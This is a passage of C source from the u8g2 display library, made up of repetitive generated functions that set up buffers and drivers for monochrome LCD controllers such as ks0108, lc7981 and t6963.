u8g2_SetupDisplay(u8g2, u8x8_d_ist7920_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sbn1661 */\n/* sbn1661 1 */\nvoid u8g2_Setup_sbn1661_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sbn1661_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sbn1661 2 */\nvoid u8g2_Setup_sbn1661_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sbn1661_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sbn1661 f */\nvoid u8g2_Setup_sbn1661_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sbn1661_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sed1520 */\n/* sed1520 1 */\nvoid u8g2_Setup_sed1520_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1520_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sed1520 2 */\nvoid u8g2_Setup_sed1520_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1520_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sed1520 f */\nvoid u8g2_Setup_sed1520_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sed1520_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ks0108 */\n/* ks0108 1 */\nvoid u8g2_Setup_ks0108_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ks0108 2 */\nvoid u8g2_Setup_ks0108_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ks0108 f */\nvoid u8g2_Setup_ks0108_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ks0108 */\n/* ks0108 1 */\nvoid u8g2_Setup_ks0108_erm19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_erm19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ks0108 2 */\nvoid u8g2_Setup_ks0108_erm19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_erm19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ks0108 f */\nvoid u8g2_Setup_ks0108_erm19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ks0108_erm19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* t7932 */\n/* t7932 1 */\nvoid u8g2_Setup_t7932_150x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t7932_150x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_19_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* t7932 2 */\nvoid u8g2_Setup_t7932_150x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t7932_150x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_19_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* t7932 f */\nvoid u8g2_Setup_t7932_150x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t7932_150x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_19_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* hd44102 */\n/* hd44102 1 */\nvoid u8g2_Setup_hd44102_100x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_hd44102_100x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* hd44102 2 */\nvoid u8g2_Setup_hd44102_100x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_hd44102_100x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* hd44102 f */\nvoid u8g2_Setup_hd44102_100x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_hd44102_100x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* lc7981 */\n/* lc7981 1 */\nvoid u8g2_Setup_lc7981_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 2 */\nvoid u8g2_Setup_lc7981_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 f */\nvoid u8g2_Setup_lc7981_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 */\n/* lc7981 1 */\nvoid u8g2_Setup_lc7981_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x160, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 2 */\nvoid u8g2_Setup_lc7981_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x160, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 f */\nvoid u8g2_Setup_lc7981_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_160x160, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 */\n/* lc7981 1 */\nvoid u8g2_Setup_lc7981_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 2 */\nvoid u8g2_Setup_lc7981_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 f */\nvoid u8g2_Setup_lc7981_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 */\n/* lc7981 1 */\nvoid u8g2_Setup_lc7981_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 2 */\nvoid u8g2_Setup_lc7981_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 f */\nvoid u8g2_Setup_lc7981_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 */\n/* lc7981 1 */\nvoid u8g2_Setup_lc7981_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_128x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 2 */\nvoid u8g2_Setup_lc7981_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_128x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* lc7981 f */\nvoid u8g2_Setup_lc7981_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_lc7981_128x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 */\n/* t6963 1 */\nvoid u8g2_Setup_t6963_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 2 */\nvoid u8g2_Setup_t6963_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 f */\nvoid u8g2_Setup_t6963_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 */\n/* t6963 1 */\nvoid u8g2_Setup_t6963_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 2 */\nvoid u8g2_Setup_t6963_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 f */\nvoid u8g2_Setup_t6963_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_240x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 */\n/* t6963 1 */\nvoid u8g2_Setup_t6963_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_256x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 2 */\nvoid u8g2_Setup_t6963_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_256x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 f */\nvoid u8g2_Setup_t6963_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_256x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 */\n/* t6963 1 */\nvoid u8g2_Setup_t6963_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_t6963_128x64_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64_alt, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 2 */\nvoid u8g2_Setup_t6963_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_t6963_128x64_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64_alt, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 f */\nvoid u8g2_Setup_t6963_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_t6963_128x64_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_128x64_alt, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 */\n/* t6963 1 */\nvoid u8g2_Setup_t6963_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 2 */\nvoid u8g2_Setup_t6963_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* t6963 f */\nvoid u8g2_Setup_t6963_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_t6963_160x80, u8x8_cad_100, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ssd1320 */\n/* ssd1320 1 */\nvoid u8g2_Setup_ssd1320_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, 